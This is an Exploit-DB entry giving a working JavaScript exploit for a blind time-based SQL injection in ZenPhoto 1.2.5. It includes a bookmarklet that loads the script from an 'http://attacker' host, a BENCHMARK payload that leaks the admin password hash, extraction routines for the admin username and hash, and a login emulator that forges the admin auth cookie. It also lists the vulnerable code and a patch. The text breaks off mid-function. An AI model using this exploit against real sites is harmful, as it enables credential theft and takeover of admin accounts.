Exploit-DB #9154
Description: ZenPhoto 1.2.5 - Completely Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-07-15
Author: petros

Exploit:
/*
 * ZenPhoto 1.2.5 Completly Blind SQL Injection Exploit
 * Requirements: magic_quotes = ANY (zenpage disables it anyway), ZenPage needs to be activated and have at least one news category
 * 
 * What does this exploit let you do:
 * The precoded functions I provided will allow you to extract the username and password hash of the admin from the database.
 * It will also let you login to the admin panel w/o actually knowing the plain text password (only the username and hash are required)
 * 
 * How To Use:
 * 1) upload this script to http://attacker/exploit.js
 * 2) open a vulnerable category in your webbrowser (Example: http://victim/zenphoto/news/category/anycategorynamehere)
 * 3) Enter the following code into your address bar:
 * javascript:(function(){var url = "http://attacker/exploit.js"; var evil = document.createElement('script'); evil.src = url; document.body.appendChild(evil);})();
 * 4) Press enter and wait for the exploit console to show
 * 5) You may now extract the username/password hash from the database (buggy  :(  )
 * 6) Use the username/password hash with the Login Emulation tool to login to the admin panel
 * 7) Have fun  :) 
 * 
 * WARNING: THIS IS BUGGY! You might not get the hash/username correct the first time. Play with the settings below to tweak it so it works better for you
 * 
 * Why this works:
 * The sanitize function doesn't escape single quotes...
 * 
 * Vulnerable Code (index.php):
 * 95: $catname = sanitize($_GET['category']);
 * 96: query("UPDATE ".prefix('zenpage_news_categories')." SET `hitcounter` = `hitcounter`+1 WHERE `cat_link` = '".$catname."'",true);
 *
 * Patch:
 * 95: $catname = mysql_real_escape_string($_GET['category']);
 * 
 * Example Exploitation:
 * /zenphoto/news/category/cat1' and hitcounter = (SELECT IF(SUBSTRING(password,1 ,1) = 'A',BENCHMARK(5000000,ENCODE('this will probably','waste some time')),null) FROM zp_administrators) and '1' = '1
 *
 * This payload will delay the page from loading for about 5 seconds if the first letter of the password hash is 'A'
 * 
 * The time detection isn't perfect and was pretty much slapped together. Make sure you try editing the variables below or
 * make your own injector :P
 * 
 * Discovered and Coded by petros@dusecurity.com
 * Shoutz to xplorer and the rest of the DuSec Team
 */


// Change this if you are having problems with the injection
var patience = .8; // Time in seconds on how patient we are. Will be substracted from the benchmark time
var max_retries = 3; // maximum retries after failed HTTP request
var charset_hash = "[PII_REDACTED]abcdef".split(''); // charset for the password hash
var charset_username = "abcdefghiklmnopqrstuvqxzy[PII_REDACTED]ABCEDFGHIJKLMNOPQRSTUVWXYZ ._".split(''); // charset for the username
var username_max = 64; // max length of the username
var hash_max = 32; // max length of password hash (its md5..i wouldnt change this)
var benchmark_code = "BENCHMARK(5850000,ENCODE('this will probably','waste some time'))"; // code used to slow down requests if the query is true
var show_timing = false; // whether or not to show the timings of each request (good for debugging)
var delay = 1500; // delay in miliseconds between request
var err_delay = 1000; //delay in miliseconds to wait after an error


// Dont edit below this line
var display = false;
var display_loot = false;
var loot = false;
var loot_username = false;
var loot_password = false;

function get(page) // returns how long it took to send/receive the request...
{
	var xhr = window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest();
	
	xhr.open('GET', page, false); // keep it syncronized..
		xhr.setRequestHeader( "If-Modified-Since", "Sat, 1 Jan 2000 00:00:00 GMT" ); // cache..
	var seconds = getTime();
	xhr.send(null);
	seconds = getTime() - seconds;
	var success = (xhr.readyState == 4 && xhr.status == 200);
	xhr = null; // dispose
	return { 'miliseconds': seconds, 'seconds': seconds / 1000, 'success': success };
	
}
function getTime()
{
	return Math.round(new Date().getTime());
}
function createDisplay() // create the display div
{
	var div = document.createElement("DIV");
	div.style.backgroundColor = '#C3FFB9';
	div.style.border = '2px dashed green';
	div.style.margin = '3px';
	div.style.paddingLeft = '10px';
	div.style.paddingBottom = '10px';
	
	div.innerHTML = '<h2>ZenPhoto Blind Injection -- petros@dusecurity</h2><p><br /></p>';
	display = document.createElement("P");
	
	document.body.insertBefore(div, document.body.childNodes[0]);
	div.appendChild(display);
}

function write(text)
{
	display.innerHTML += text + "<br />";
}

function setDisplay(text)
{
	display.innerHTML = text;
}

function clearDisplay()
{
	display.innerHTML = '';
}
function getPath()
{
	return window.location.pathname;
}

function showMenu()
{
	clearDisplay();
	write('What you like to do?');
	var ul = document.createElement('OL'); // changed to OL so they know to do it in steps
	createListItem('Extract Admin Username', 'extractusername();',ul);
	createListItem('Extract Admin Password','extractpassword();',ul);
	createListItem('Login to Admin using Hash', 'adminlogin();', ul);
	display.appendChild(ul);
}
var un;
var pw;
function adminlogin()
{
	clearDisplay();
	write("Admin Login Emulator: ");
	un = createTextbox('Username: ', (loot_username) ? loot_username : '[Enter Username]');
	pw = createTextbox('Password: ', (loot_password) ? loot_password: '[Enter Hash]');
	createButton('Pwn!', "step2();");
	write('<br /><a href="javascript:showMenu();">Back To Menu</a>');

}
function step2()
{
		var username = un.value;
		var password = pw.value;
		var auth =MD5(username + password);
		SetCookie('zenphoto_auth', MD5(username + password), 30);
		clearDisplay();
		write("Generated auth cookie: zenphoto_auth=" + auth);
		write("You are now logged in with admin privileges :)");
		write